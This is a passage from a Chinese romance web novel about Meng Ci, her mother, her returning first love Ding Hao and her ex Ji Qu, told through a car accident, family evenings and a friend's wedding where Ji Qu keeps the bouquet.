“我旁边还有一辆。”孟慈联系完保险,发现人们都在看自己,顺势向旁边指了指。 孟慈说完走到交警旁边:“我准备报保险了,刚刚看了一眼也没什么大问题,撞我的车挪走我就走了。” “不用赔偿?”交警看着明显的责任方向孟慈提出疑问。 孟慈摇头,说自己的车也很多年了,不需要赔偿。 “但是我撞的那辆……”孟慈没回头,冲着背后的方向指了指。 交警瞬间会意:“我去说吧,您没问题的话先上车就好了。” 于是孟慈毫不迟疑地上了车,握着方向盘的双手有些冰,指尖处甚至轻微地麻。 裴沛看着女儿紧绷的肩颈,问:“要不然我开吧?是不是吓到了?” 孟慈回过神:“嗯?我?” 裴沛点头,说孟慈的脸有些白,孟慈笑着否认,回过身说刚刚下去可能被吹到了有些冷。 伸手在孟慈的脸颊上捂了捂,裴沛说还真是,又让孟慈把双手也拿过来自己给她暖暖,不然不好开车。 还没等孟慈松开方向盘。车玻璃就被人敲响了。 “不用了妈,能走了。” 还以为是交警过来敲窗户,嘴角还挂着笑,孟慈一回头就对上了车窗外季曲的脸。 偏偏按着按钮的手指还忘了收力,连最后一层能够起隔绝作用的玻璃也逐渐下滑消失。 要是裴沛在正面,此时就会发现孟慈的脸比刚刚白了不止一倍。 季曲倒是一副再正常不过的模样,没有任何寒暄,直接问:“交警说报保险?” 可能是窗外的暖风打到孟慈脸上,她逐渐放松下来,点头:“嗯,我这边问题不大。” 季曲早就看到了孟慈的车,只不过他以为孟慈把车卖了,毕竟她走的时候把一切都处理的干干净净,公司股份全部卖出,数套房子也做了处理,没想到竟然把车留下了。 孟慈下车的时候只穿了件黑色衬衣,单薄的布料裹在身上,被风一吹就抖,腿上穿着黑色牛仔裤,衬得她纤细挺拔。 车窗摇下来之后,季曲看清孟慈毫无妆容的脸,她也没带任何首饰,素雅又干净。 等到孟慈回答完,季曲不假思索地点点头,和一旁的交警说自己也走保险。 然后头也不回地上了自己的车。 孟慈冲交警笑笑,摇上车窗,挂档踩油离开。 季曲的车和她的同时启动。 一辆直行,一辆向左,消失在车流中,陌生到无话可说。 “刚才那位……” 季曲的长相气质太过出众,也不怪裴沛有印象。 孟慈目不斜视地看着前车:“季曲。” “你们还有联系?” “没有,偶然碰到。” 孟慈和季曲第一次在一起的时候,裴沛知道。 孟慈和季曲第二次在一起的时候,孟慈瞒着裴沛没说。 “但是他那年还来给我拜年了。”裴沛坐在后面回忆,“就我在皇后镇那年,他拎着好多东西来,喝了一杯茶就走了,说有事要做,我还以为你们和好了,你不好意思告诉我……哎呦!怎么了?” 一个急刹车,要不是有安全带裴沛早就一头撞在椅背上。 孟慈没回头,声音有些不稳:“有只小猫突然冲出来了。” 裴沛拍着自己的胸口:“没撞上吧?” “没,跑了。” “那就好那就好……” 双手握方向盘握得太紧,孟慈缓了口气,才启动车子。 回到小区不过十点,孟慈和裴沛停好车又出去买了些水果,溜达回家的时候刚好看到丁昊站在单元门口,穿着一身素净的灰。 裴沛嘴皮不动地说:“你捅了前男友窝了?” “我疯了?”孟慈远远地冲丁昊笑笑。 “那就是你爸想看看他们?” 孟慈扭头看向裴沛,眼神里有杀气。 那边丁昊已经跑到两人身前接过母女手里的购物袋。 裴沛躲开孟慈的眼神,笑着问丁昊:“今天不上班啊?” 丁昊拎了满手,解释道:“我和朋友一起创业,偶尔出来半天不打紧。” 裴沛一边和丁昊交流一边给孟慈抛眼神,上个楼的功夫就把丁昊现在的情况摸了个遍。 把人送上楼后丁昊没多留,即使裴沛留他吃饭也笑着拒绝,说自己就是来看看有没有什么能帮忙的,没想到来晚了,孟慈和裴沛打早就去了墓园。 裴沛吃惊道:“你早上就来了?一直在下面等到现在?” 丁昊只是笑而不语,然后和母女俩告别离开。 因为起得太早,孟慈和裴沛 都补了个觉。 孟慈再睁眼时,已经是下午四点。 走出卧室时裴沛刚好煮了面,香气扑鼻。 母女俩一人吃了一大碗。 孟慈洗完碗后,又到了熟悉的观影时间。 裴沛终于知道了小师弟不是反派角色,而是因为爱上了何冉演的师姐,才因爱生恨。 一直到小师弟自杀,裴沛才感叹道:“你看看,非要捣乱,这么好的师姐,非要娶人家当老婆。” 孟慈依旧卧在裴沛膝盖上,说:“人家就是爱啊。” “他又不是男主角,爱有什么用?” “他又不知道他不是主角,勇敢追爱有什么错?” 过了几秒,裴沛把孟慈的头一推,翘起二郎腿不给孟慈靠了。 孟慈先是一愣,然后捂着闪了一下的脖子无语地说裴沛小孩子脾气。 裴沛在旁边嗑自己的瓜子,眼神都不给孟慈。 孟慈无奈,抓了只抱枕靠在沙发背上继续看剧。 “那你的男主角是丁昊呢,还是季曲呢?”裴沛嗑完手里的瓜子,冷不丁来了一句。 孟慈不在意道:“就非得从前男友里挑?” “那前男友都是配角咯?” 一时间找不到话破解裴沛的大道理,孟慈没说话。 起身抓了一把新的瓜子,裴沛不紧不慢地说:“有一位男配角现在就在楼下站着,也不知道会不会得到你这位女主角的青睐。” 孟慈理了理抱枕的流苏:“谁啊?” 这次轮到裴沛不说话了。 孟慈干脆自己趴到玻璃上看,是丁昊,他坐在不远处的木椅上,在和孟慈对视的第一时间就笑了,仿佛一直等待孟慈出现一样。 今晚下楼前孟慈穿了件外罩,顺便把丁昊的衬衣拿下来还给他,走到丁昊面前,孟慈递出衬衣问他怎么又来了。 丁昊接过,又还给孟慈一个袋子,透明的塑料袋包裹着草莓荔枝等物。 孟慈没接:“怎么老拿东西。” 丁昊说:“总不好空手里来。” “什么事找我?”孟慈看着换了身西服的丁昊,一下子成熟不少。 样子成熟了,心思倒还是青涩模样。 丁昊支支吾吾的说不出个所以然。 初恋滤镜,马上就要被消耗殆尽。 孟慈等了半响,抬头露出一个客气的笑,说:“以后别来了,都挺忙的……” “我只是怕你需要。”丁昊在孟慈下完最后通牒的前一秒出口阻拦。 丁昊的眼睛很大,圆圆亮亮的,配上他毫无攻击力的柔和五官,谁看了都说不出重话。 “我只是觉得今天有些特殊。”他有些不好意思,但也断断续续地表达完整,“我不想让你自己呆着,不管你需不需要,我随叫随到。” 孟慈抬头看着丁昊,好像又回到青涩时期,心软了一下。 可能是月色温柔,可能是夜风凉爽,也有可能是孟慈懒了一下。 所以,被丁昊轻拥进怀里的时候,孟慈没拒绝。 拎着塑料袋回家的时候,裴沛已经回卧室了。 客厅的灯开着,孟慈把水果放进冰箱,蹑手蹑脚地回了自己的卧室。 洗完澡躺下,突然收到裴沛发来的消息,明明人就在一墙之隔的房间,孟慈撇撇嘴,转手拨过去一个视频通话,“干嘛啊还要开视频?” “你干嘛啊这么近还要发信息。”裴沛在看书,鼻梁上挂着眼睛,黄色的台灯亮着,打在她的侧脸。 孟慈:“你看书的时候就把卧室的灯打开,光用台灯对眼睛不好。” 裴沛:“你晚上玩手机怎么不把灯打开?我和你说了多少次了?” 母女两个,半斤八两。 孟慈嘴上不认输:“那你给我发消息干嘛?什么丁昊还蛮不错的,条件也好。” 仿佛早就预判到孟慈要说什么,裴沛立马抛出一长串道理:“那我不是为了你着想,你现在又不愿意去认识新的人,说什么懒得再从自我介绍开始和异□□代自己,那丁昊多好,知根知底的,也不用你再自我介绍,多合适。” 按着手机侧面的音量键调低几下,孟慈打断裴沛:“要你这么说的话季曲不也合适?” 裴沛眨眨眼:“所以你想和季曲复合?那你得和人家丁昊说清楚啊,可不能搞那种吃碗里的看着锅里的的事,要遭报应的!” 孟慈几次想反驳,却插不上嘴,于是干脆挂了视频。 没几秒,裴沛就从卧室门口冲了进来,一把拉开孟慈头上的被子,继续开始讲道理。 “妈求求你了,我困了我想睡觉。” “是你大半夜的给我发视频,还说出这么危险的话,这不行的呀,我可不能看着我女儿走歪……” “妈妈妈!我谁都不和好,我明天就去找我的男主角。” “去哪找?那是你说找就能找见的?” “不用管我去哪找,你放心,我一定给你找回来。” “欲速则不达,你这样的心态要出大事的呀,你这样我怎么放心回新西兰……” 有赖于裴沛的一系列睡前故事和哲学道理,孟慈成功地在孟慈见到了自己的男主角,他坐在阴影里,看不清脸,而孟慈则兴致勃勃地介绍自己,从姓名身高体重,到性格学历家庭。 喋喋不休地说了半个小时,梦里的孟慈都觉得喉咙发干,偏偏面前的杯子里没有水。 正无奈叹气时,对面那人把自己的杯子推了过来。 道谢的话刚说了一半,孟慈拿着杯子感激地看着对面的季曲,晃了神。 他说:“不好意思,你的条件我不太满意,今天这顿饭算我的。” 然后起身离开。 第48章 第48章两个当事人同样平静…… 孟擎忌日过后,裴沛又和孟慈待了一周左右才离开,到后来几天钱杰几乎每天四五个电话的打,一会儿找不到碗盘,一会儿找不到翻土的园艺工具。 连孟慈都看出来钱杰是想裴沛了。 去送机的时候丁昊也跟着,帮裴沛办好托运,又准备了晕机贴、蒸汽眼罩等物,细心周到。 裴沛和孟慈只管坐着休息。 裴沛看着忙前忙后的丁昊心下不免倍感妥帖,感叹道:“我要是你就考虑他一下。” 孟慈低头玩小程序上自带的贪吃蛇,彩色的蛇身已经是页面上最粗的,“可惜了,你又不是我。” “你这孩子,和你说正事呢!”裴沛碰了下孟慈的胳膊,蛇头撞壁。 孟慈轻车熟路地打开小广告等待复活。 “你妹妹下个月都要结婚了。”裴沛恨铁不成钢地看着孟慈。 “我知道,机票都定好了。”小广告的观看机制需要页面滑动,孟慈单手拿着手机,大拇指在屏幕上时不时地滑动一下。 裴沛抱怨道:“你再晚两年结婚我就真发福了,连好看的旗袍都穿不了。” “怎么可能,你看起来和我姐一样,我一定给你做一身最漂亮的旗袍啊。”孟慈笑着安抚要炸毛的裴沛。 裴沛还想说什么,丁昊刚好捧着咖啡过来,给母女俩分别递了一杯。 所以直到裴沛消失在安检口,都没能如愿地再对孟慈进行“再教育”。 在返程的路上,孟慈收到裴沛发来的一长串文字,大致扫了眼,孟慈按灭屏幕,没放在心上。 丁昊用余光瞥到看着车窗外发呆的孟慈,伸手把音乐的音量调大了几分。 察觉到丁昊的举动,孟慈没说什么,她看着天空上偶尔划过的飞机白线,默默许了平安。 一路无言。 直到车子停下,孟慈才回过神,解开安全带和丁昊道谢下车。 裴沛走之后孟慈打算回自己的房子住,行李早就收好放到了自己的车里。 在车库里找到自己的车后,孟慈才发现上次的刮痕还没来及处理。 给4S店提前打了电话,经理一听是孟慈,便说随时过来就可以,他一直在店里。 孟慈挂了电话便打开导航输入地址,以前车子的保养工作都是孙谦在做,这还是孟慈第一次自己过去。 到了之后经理让修理师傅去检 查车子,把孟慈迎到VIP室喝茶休息,顺便给她递上新款车子的广告。 孟慈没有购买欲望,简单翻了翻便把册子放回原位,端起柠檬红茶喝了几口,中和的不算好的涩感明显地充斥在唇齿间。 探过托盘上的薄荷糖拆开包装吃了一粒,凉爽感直冲脑仁。 孟慈用舌尖把糖块推到齿侧,脸颊鼓起一个小小的包。 车辆检查的时间要比孟慈预计的长不少,原本以为晚饭前就能结束,但是经理说车子除了表面的磕碰,内里也受到了撞击,接下来就是一堆孟慈听不太懂的词汇。 总而言之就是这辆车孟慈今天是开不走了。 拜托经理把行李从后备箱取出来,孟慈打算叫车离开。 还没等经理折返,孟慈又偶遇熟人。 “孟慈?”赵一辰刚好从4S店门口进来,换掉了他那一身玩世不恭的公子哥行头,头发也规规矩矩地整理好,到底是要成家了,连心都收了几分。 孟慈指了指自己的车:“修车。” “哦,还没修啊,季曲哥早就扔来重新喷漆了,你也是能拖。” 怪不得赵一辰看到自己的时候惊喜多于惊讶,原来是一早就知道了消息。 “最近有点忙。”孟慈接过行李箱。 经理扫到孟慈手机的叫车页面,贴心地说:“我安排员工送您一趟,现在晚高峰,估计短时间内您不好叫车。” 孟慈又加了个红包,说再等等。 旁边的赵一辰见状立马说:“晚上有事吗?没事吃个饭呗,安娜正好也在。” “不用了。”孟慈想都没想就拒绝,说自己晚上还有约。 这是真的,为了感谢丁昊最近的照顾,孟慈答应了和他吃饭。 说曹操曹操就到,丁昊的电话打过来,问孟慈收拾的怎么样,需不需要自己去接。 目光在赵一辰期待的脸上闪了一下,孟慈当然选择丁昊。 “我车短时间修不好,方便的话能来接我一下吗?” 丁昊自然乐意,孟慈报出地址后丁昊还说巧了,4S店和饭店的距离不远,让孟慈安心在店里等着,他大约半个小时就到。 挂了电话,孟慈冲赵一辰不好意思地笑笑,说下次吧。 赵一辰也没强求,毕竟他也不能把人绑着不是,便顺势问:“接你的人多会过来?” 孟慈收起手机:“他说差不多半个小时。” 赵一辰笑:“那正好陪我看看车,订了大半年了,刚回来。” 孟慈拒绝:“我又不懂车。” “你就看看好不好看。”赵一辰已经把孟慈手里的拉杆抢出来又推给站在一旁的经理,“我送安娜的礼物,你们玩得好,眼光肯定也差不多。” 走到后面存车的仓库,一辆银色的跑车正大喇喇地放在当中间,好不阔气。 赵一辰走到车子旁边细看:“怎么样?” “很酷。”孟慈给出评价。 “那你说安娜会喜欢吗?”赵一辰坐进驾驶位,头从窗户探出来问。 孟慈迟疑几秒:“会吧,她一直喜欢这种亮闪闪的东西。” 赵一辰得到肯定,脸上的笑又深了几分。 两人看完车回到休息室等待,孟慈是在等丁昊,赵一辰车也看完了,不知道在等什么。 孟慈要了瓶冰气泡水,小口小口地喝。 赵一辰一边观察孟慈一边回忆,自己前两天吃完碰到季曲,发现他换了代步工具,随便问了一嘴,却意外听到了孟慈的名字。 要知道,孟慈消失后,季曲甚至在医院住了半个月。 当时消息瞒得严,自己等人听到动静的时候季曲已经痊愈出院了。 在饭局上,大家看到瘦了不少的季曲,面面相觑,没人敢问。 后来有一家外地的合作方,不知道孟慈已经离开的事情,在饭桌上问季曲怎么没带女朋友来,听说两人好事将近,有没有机会来喝一杯喜酒。 就这一句,让包厢彻底噤了声,静到赵一辰甚至能听到身旁胡志的心跳。 大家都在偷偷打量主位上的季曲。 即使清瘦不少,他也依旧保有沉稳与高姿态。 肩膀处的骨头似乎要撑破衬衣刺出来,手臂上更加线条分明的肌肉随着他的动作牵动,眼皮漫不经心地垂着,似乎在细细观察杯中的酒。 扔下鱼雷的那位察觉出什么不对,想要找补,但也不知道能说些什么,嘴皮子开了又合,脸要憋成猪肝色。 就当众人以为季曲濒临愤怒边缘时,却听到主位上的人轻笑一声,快到耳朵捕捉不到声音的轨迹。 他把酒杯放回绒布桌面,给自己点了支烟,袅袅轻烟笼罩住他的五官,磕掉一截烟灰,他不在意道:“前段时分了。” “喜酒恐怕是吃不上了。” 至此以后,大家默契地不再在季曲面前提孟慈这个人。 但是没想到,这个名字会被季曲自己提起。 赵一辰回忆着季曲当时的状态,他极自然地说前几天在路上被孟慈蹭了一下,原装漆需要从国外采买定制,干脆就扔到厂子里把保养一起做了。 季曲离开后赵一辰还以为自己听错了,孟慈不是跑到国外继续读书了,怎么还能蹭了季曲的车。 直到现在,赵一辰才敢确定自己那天不是喝高导致的耳误。 两个当事人同样平静,倒显得他们这些旁观者像倾注了过多感情的观众。 “我们的请帖收到了吗?安娜特地找梁漠要的地址。”赵一辰靠在沙发上,偷偷用手机拍了张孟慈的照片。 本来想发给置顶的安娜,结果手一抖,发到了下面的小群,等到他发现时,已经来不及撤回了,偏偏季曲也在群里。 孟慈刚想回答,就看到赵一辰的脸肉眼可见的变白又变红,像特效一样。 “你怎么了?哪里不舒服?”孟慈往前支了些,看到赵一辰的额角甚至流了汗。 赵一辰把手机装到口袋里,声音有些慌乱,“嗯?我?没事,有点热可能,这儿的空调不怎么好。” 看着坐立难安的赵一辰,孟慈不知道发生了什么,不过也懒得知道。 简单说了下自己也是前两天刚刚收到请帖,但是秋天的时候自己会入职,到时候不确定能不能赶来。 赵一辰已经失了心态,根本听不进孟慈在说什么。 口袋的手机一震不震,要知道,平常大家可是时不时地就会闲聊几句,看着手表上空空如也的信息栏,赵一辰心里默念真是完蛋了。 丁昊踩着半个小时的尾巴进店,孟慈看到他发来的消息的同时从沙发上起身,和赵一辰说了再见拖着自己的行李箱出了门。 丁昊下午开了个会,还穿着衬衣没来及换,他站在大厅中央,看到孟慈的同时立马换上微笑,自觉地接过行李箱,同时递给孟慈一个纸袋。 孟慈已经收到了许多不同的礼物,问:“又是什么?” 丁昊说:“下午开会公司的小姑娘们点的泡芙,我记得你也喜欢。” 透明盒里分别是草莓和巧克力口味的颜色。 “谢谢。”都是孟慈喜欢的口味,丁昊是很用心。 俊男美女上演纯爱情节自然引人注目,偏偏有煞风景的撞进来。 赵一辰在孟慈离开后终于收到一条回信,还是季曲的,让他明天搞点邓姚的签名专辑送过来,合作方的女儿是邓姚的粉丝,赵一辰立马回了好。 其他兄弟们仿佛心电感应般在下面接龙说自己也想要点,孟慈的照片被默契地顶出聊天界面。 赵一辰的心终于跌回肚子。 想起来刚刚要来接孟慈的好像是个男人,抑制不住的好奇心驱使他三两步地赶了出去。 “呦!丁总?”赵一辰远远看着就觉得熟悉,没想到到了跟前还真是熟人。 丁昊和孟慈同时看过来,默契的动作像是一对。 “赵总,好巧。”丁昊看了孟慈一眼,没在她那体会到什么负面的东西,才伸手与赵一辰相握。 丁昊的公司主做互联网,本来公司的注册地在上海,因为今年的政策支持才迁到北城。 赵一辰也是前段时间在饭局上和丁昊打了照面,自己家的娱乐产业少不得和互联网打交道,便自然地交换了联系方式。 孟慈见两人认识,刚好,省得她在中间反复介绍。 “你们认识啊?”赵一辰看看孟慈又看看丁昊,疑惑道。 丁昊见孟慈没有社交的意图,自己出声解答:“大学同学。” 简单寒暄几句,丁昊和孟慈便先离开,赵一辰看着两人离开的背影手疾眼快地拍下照片发给安娜,发送前还再三确认,可不能再发错了。 没几秒安娜的电话就拨了回来:“你见到孟慈了” 赵一辰回到自己的车前:“对啊,好像回来蛮久了。” 安娜也听说了孟慈的消息:“她旁边那人谁啊?” “前段时间和咱 们一起吃饭的丁总,丁昊你记得吗?”赵一辰补充道:“他们是大学同学。” “丁总我倒是记得。”安娜说完停顿了一下,“等等大学同学?” “对啊老婆…” “我靠!”安娜终于想起来一些,“那不是孟慈前男友吗?” 赵一辰否认:“孟慈前男友是季曲哥呀老婆。” “不是!”安娜抢过话语权,“这是季曲之前那个,孟慈初恋!” 刚掉回肚子里的心再次悬起来,赵一辰看着丁昊的车尾,突然开始后悔今天来给安娜看车。 “老婆” “干嘛?” “这事我要告诉季曲哥吗?” 安娜罕见的安静下来,夫妻俩就这么在手机两端浪费时间,过了良久,安娜才说自己饿了,先吃饭吧,赵一辰说好。 一日三餐,吃饭要紧。 赵一辰先接上安娜才开车去往饭店,两个人一路上的话题都围绕孟慈展开,等到了地方还没商量要不要告诉季曲。 安娜持不说的意见:“我觉得用不着,毕竟都是过去式。” 赵一辰觉得要说:“我都把照片发群里了,大家都知道我今天下午见到孟慈了,只要是后续有什么事,不得找我头上?” 安娜嫌弃地看了赵一辰一眼:“你就说是别人发给你的不就成了。” “谁?哪个别人?”赵一辰停好车后反驳了一句。 “你管他呢,咬死不承认不就得了。” “季曲哥可是人精,这根本骗不了他,后面被知道了我不得被吊起来打。” “那总比现在死好吧?”安娜解开安全带看了赵一辰一眼,灵魂发问,“他现在和他妈一年能见几次?” 也是,就连华婉都被迫承受季曲的冷暴力到现在,何况自己,以后的事以后再说吧,现在先保命要紧。 夫妻俩达成一致,愉快地下了车。 但是,天公不作美,赵一辰订的饭店是家新开的江南小馆,每天只接待预定的客人。 包厢围池而列,轩窗一开,能绰约看到隔壁的人影。 好巧不巧,安娜和孟慈打了个照面。 安娜都不知道自己的心情是开心激动还是暗淬倒霉。 但是在接收到孟慈的柔柔一笑时,她立马抛弃了冻在一旁的赵一辰,立马站起来冲到隔壁包厢:“慈慈宝贝!好久不见!” 第49章 第49章“听说你要结婚了?”…… 表妹的婚礼地点定在圣托里尼,是她从小就梦想的结婚地点。 孟慈和裴沛提前一周就到了,母女俩在周边游玩了一番,婚礼当天,俨然已经对这个小岛熟的不得了。 丁昊昨晚也抵达,孟慈和丁昊恋爱时期带着表妹吃过几次饭,知道丁昊开始重新追表姐,表妹自然乐得当一次月老。 在宾客合影环节,表妹特地招呼丁昊一起,裴沛也笑眯眯的,孟慈自然不会煞风景。 因此这张合照当天晚上就出现在了丁昊的朋友圈里。 赵一辰刷到照片的时候正好在玩牌,安娜看他手气不好便把人推到一边说给他缓缓运气,正坐在牌桌上大杀四方。 季曲也在牌桌上,一脸兴致缺缺,懒得回家给华婉庆生,便说薄娴喝多了要他过来接。 安娜那边刚碰了一只牌,赵一辰突然爆了句脏话,把全桌人的注意力都吸引过去。 “你喊什么喊?有病?”安娜被吓的一激灵。 赵一辰还在震惊中,安娜抢过他的手机,看了一眼,看了两眼,不敢置信的又看了第三眼,才憋出一句:“什么情况啊?” 上次吃饭的时候,安娜趁孟慈去洗手间旁敲侧击地问丁昊是不是在追孟慈。其实也不用问,明眼人都看得出来,丁昊的殷勤太过直白。 丁昊说是,安娜心里当下就有了数,毕竟初恋滤镜对每个女生来说都很难打碎。 再加上刚刚自己话里话外抱怨婚姻的时候,孟慈也提到裴沛总是催自己成家。 “这是要成了?”赵一辰看着照片不敢确定地问。 安娜思索几秒:“差不离,这不是亲友合照环节?谁没事让朋友进来?” 两人谈话间全然没注意到对面的季曲,倒是薄娴撇了季曲一眼,不热不冷地说:“那不是挺好的,结了婚家里放心。” 季曲抬手从旁边叫了一个人替自己打牌,从桌上拿了包烟去了阳台。 安娜怼怼赵一辰:“你去看看?” 赵一辰摇头:“我不去,谁爱去谁去。” 几番眼色交换,还是薄娴起身主动去了阳台。 夜风猎猎,季曲倚着栏杆,衬衣被风蓄满,额前的发也被吹乱。 “怎么不玩了?”薄娴靠着栏杆问。 季曲叼着烟,脸隐在黑夜,语调懒散:“没意思。” 薄娴笑笑:“怎么?听不得前女友的新恋情?我看沈小姐结婚的时候你包了挺大一个红包啊。” 季曲也笑了下:“少贫。” 一根烟燃尽,季曲准备点第二根,薄娴伸手拦住,说呛。 季曲侧过脸思考几秒:“那你进屋?” 又来了,这幅烂德行。 薄娴掏出手机翻了一张照片给季曲看。 “谁啊?” “我妈的学生。”薄娴说自己明天要去和这个人吃饭。 季曲挑眉:“相亲?” 薄娴没否认:“以后不能给你当挡箭牌了。” 本想问薄娴何必走相亲这条路,后来一思量,薄娴和自己同年生日,倒是也该步入人生的下一个阶段。 “挺好的。”季曲捏着手里的烟,目光落在薄娴平静的脸颊,“多看看,万一喜欢呢。” “我喜欢就有用啊?万一人家没看上我怎么办?”薄娴按灭手机,黑暗再次袭来。 季曲笑笑:“谁能看不上你啊?从小到大你的追求者能排到近郊不过分吧。” 薄娴嘶了一声,又扳着指头数了数,过了一会儿才煞有其事地说:“你记错了吧?怎么不得到上海?” “你说李港啊?” “去你的。”薄娴在季曲后背拍了一掌,用了实打实的力。 季曲被她拍笑了。 两个人又你来我往地互相找了几句茬,直到安娜在里面叫人,说要整节目才停下。 季曲让薄娴先去,自己还要抽根烟。 薄娴离开的脚步顿了一下,季曲的火机已经亮起,照亮他眉眼,察觉到薄娴返回,他没着急点火,咬着烟挑眉。 “最后一次机会啊,没有下一次了。”薄娴穿了件粉色的连衣裙,衬得她一如十八少女模样。 季曲笑笑,拿掉嘴上的烟,伸出手在薄娴的肩膀上拍拍,说:“结婚的时候我给你添的嫁妆一定比李港多。” 百转千回,从孩童到青少年,再到成年,薄娴终于放下了最后一点惦念,季曲的长相没怎么变,从小到大,变化的只有越来越薄的皮肉,裹着内里锋利的骨。 对视几息,薄娴笑得释怀,“先走啦,明天早上还有会。” 季曲点头,然后自顾自地转身点燃烟草,借助尼古丁和少有的安静让困于身体的灵魂自由一会儿。 第二天赵一辰约了大家试菜,季曲因为有工作安排便让孙谦代替自己去,没想到孙谦下午回来时还拿了一堆产品册。 季曲扫了一眼,问:“你把人家菜单拿回来了?” 孙谦摇头,把东西放在自己的办公桌上,然后开始找季曲需要的文件,“赵总拿了一堆礼服的样片,让我们帮忙选选。” 季曲记得赵一辰和安娜的婚礼就在半个月后,竟然还没定下礼服款式,孙谦把文件交给季曲,说新郎新娘意见相悖,因此叫朋友们投票选择。 拿到需要的文件,季曲说这倒是好方法,反正 婚礼也是给别人看的。 晚上陈昱通安排了饭局,他的女儿也准备订婚,因此叫了两个孩子给大家看看。 陈昱通跟了自己不少年,尽心尽力,季曲不好推迟,只能赴宴,把孙谦准备好的红包递给小朋友,便找了借口离开。 饭店离季曲的住处不算远,天气又好,季曲便准备自己走走回家,顺便散散酒气。 等红绿灯的间隙,季曲被身旁橱窗里的婚纱吸引了注意,白色的裙摆层层叠叠地落在地毯上,无数灯光打在缀着钻的裙身上,和安娜的那件有些像。 可能是有些专注,季曲连旁边多了位人都不知道。 销售看着季曲浑身上下的穿搭就知道来了条大鱼:“先生?先生您要进店看看吗?是在筹备婚礼吗?” 季曲回神,看着身边的销售摇头:“不用了。” 常见的拒绝话术,销售显然受过专业训练,面不改色地说:“我们家的礼服都是法国空运回来的,款式都非常新颖,您喜欢哪种?您爱人喜欢哪种?或者您爱人什么时候有空?可以来上身试试。” 销售摆出职业微笑,把手里一早准备好的宣传册塞到季曲怀里,说这是当季新款,可以看看,以后总有需要,又送上自己的名片。 季曲拒绝的话突然停在嘴边,他被问了个懵,手里的纸张大小有限,拢共也就十几种,但是孟慈喜欢哪种,他真的选不出来,毕竟他确实没和孟慈谈论过类似话题。 而后几秒,季曲又被自己思考蠢笑,后知后觉的,一提到爱人,他怎么就自动把孟慈对号入坐。 街角的灯绿了,季曲随着人流穿过马路,踩着再熟悉不过的砖石,消失在夜里- 孟慈正式上岗前还要去参加安娜的结婚典礼。 原本赵一辰也给丁昊下了请帖,但是丁昊恰巧要出差,并且还十分重要,只能让孟慈多带一份礼金到场。 赵一辰自然不介意,毕竟季曲也会到场,他可不想好好的结婚典礼变成“战场”。 新人入场前,是宾客们的自由活动时间。 草坪上摆满装饰,孟慈在礼金台把自己和丁昊的红包送上,便进场找了处偏僻的位置坐下。 昨晚下过雨,草地被浸泡地发软,随着孟慈的落座凳脚有些下陷,凳子小幅度的晃动一下。 孟慈双手刚扶上座位,就感觉到椅背被人扶了一把,然后恢复平稳。 季曲扶稳椅子后,绕到孟慈的旁边坐下,再自然不过。 “谢谢。”孟慈侧过脸看了季曲一眼。 季曲微微颔首,说不客气。 最礼貌的用语,竟然也会出现在两人之间。 季曲看着远处的礼台,先打破安静,像是旧友再见般老套,问:“最近怎么样?” 嗓子无端的有些涩,孟慈垂眸看着自己手腕上的鲜花手带,是在场女客都有的装饰品,她说:“还不错,顺利毕业了,也找到了工作。” 季曲点头,转着指根处的戒指,“我也不错,没什么变化。” 服务生端来托盘,孟慈取了支纯净水,季曲则是香槟。 饮了半杯,季曲换了坐姿,交叠的双腿换了上下,连带着人也侧向孟慈几分,他的眼神回到孟慈身上,她依旧微垂着脸。 季曲问得突然:“要结婚了?” “什么?”孟慈被问的一懵,下意识地反问。 季曲的手搭在前面的椅背上,看着孟慈:“听说你要结婚了?” “听谁说的?”孟慈感受到季曲的目光炙热,这才抬起头。 季曲没什么笑意:“道听途说。” 孟慈笑着摇头:“所以算不得真。” “反正今年不可能。”孟慈补充道,“我妈找人看了,说我今年结婚不好。” 那就是真的要结婚,季曲心里这么想着,面上却没露出什么。 “有好消息的话……”孟慈笑笑,“应该也不会通知你。” “应该的。”季曲故作潇洒地点头,毕竟没有人希望自己的前男友出现在婚礼现场。 话题戛然而止,不一会儿,薄娴也到了,季曲看到人,起身整了整外套。 “先走了。” “好。” 孟慈没起身,余光看到季曲向薄娴走去,两个人又并肩离开。 婚礼仪式按时进行,安东升笑的眼睛都要没了。 看着他斑白的两鬓,孟慈不由地想到安翰,目光落在不远的何冉身上,她也在微笑鼓掌,对上孟慈的视线,微微颔首示意。 到了扔捧花的环节,安娜破天荒的说了一堆吉祥话。 目光分别在台下的孟慈、何冉、邓姚、李港、季曲、薄娴身上转了又转。 孟慈没有抢花的意愿,自然往后站。 随着一道优美的抛物线,捧花竟然到了季曲的怀里,现在场上众人都怔了一瞬。 安娜反应快,拿着麦克风说反正季曲也没打算结婚,给他也是浪费,要拿回来重新抛一次。 大家纷纷应和,司仪见状便也走到季曲身边,等着拿花。 “这花就应该给我们孟慈……或者给薄总也行,你留着没有用。”安娜的声音还在持续不断地传过来。 孟慈没关心这边,她看到安娜的姨妈穿了件极合身的旗袍,突然想起来裴沛的生日要到了,刚好送她一件,便主动和安娜的姨妈搭话,想着打听打听。 “哎哎哎!孟慈干嘛呢?怎么不来抢花?缠着我姨妈干嘛?”安娜一出声把所有人的注意都引了过来。 孟慈和姨妈要到了裁缝铺的联系方式,才笑着往前走,指了指姨妈身上的礼服,又晃晃手里的手机。 安娜笑着说那看来孟慈也用不着这束花了,毕竟都已经在看长辈的礼服了。 孟慈笑笑,没多解释,毕竟隔着这么远,喊起话来多费嗓子。 “行吧行吧,那你就别抢了,把机会留给需要的人好了。”安娜摆摆手,“季总?什么情况赶紧把花给我呀!” 季曲的视线也从孟慈身上收回来。 她今天穿了条白色的短礼服,是婚礼的统一要求,头发束在脑后,搭配一套珍珠饰品。 他不由自主地突然想到前段时间橱窗里的缎面婚纱,孟慈穿上一定好看。 出人意料的,季曲没把捧花交出去,而是牢牢的抓在自己手里。 赵一辰傻了眼:“不是哥,你自己留着?” 谁都知道季曲和华婉闹翻了,别说婚姻,连女伴都消失在季曲的生活中。 季曲点头,回答了赵一辰的提问。 安娜不敢置信地又问了一次:“哥你也想结婚?” “想啊。”季曲看着鲜红的玫瑰,“当然想。” 场上因为季曲的话陷入安静,又进入高潮。 只有身旁的薄娴似是明了地笑了一下,看着不远处的孟慈,又看看被李港勾住脖子质问是不是有了对象的季曲,薄娴心下一片了然。 第50章 第50章眼里有些没处理好的愕然…… 安娜姨妈推荐的裁缝铺子在上海,孟慈预约好后特地过去一趟,丁昊主动作陪。 孟慈闲来无事,在机场准备返航北城时突然在手机上刷到邻市有非遗展,又想起方萤说的变成打工人后可就在没什么长假期可供消遣,便突如其来地改签了目的地,两人又玩了快一周才返程。 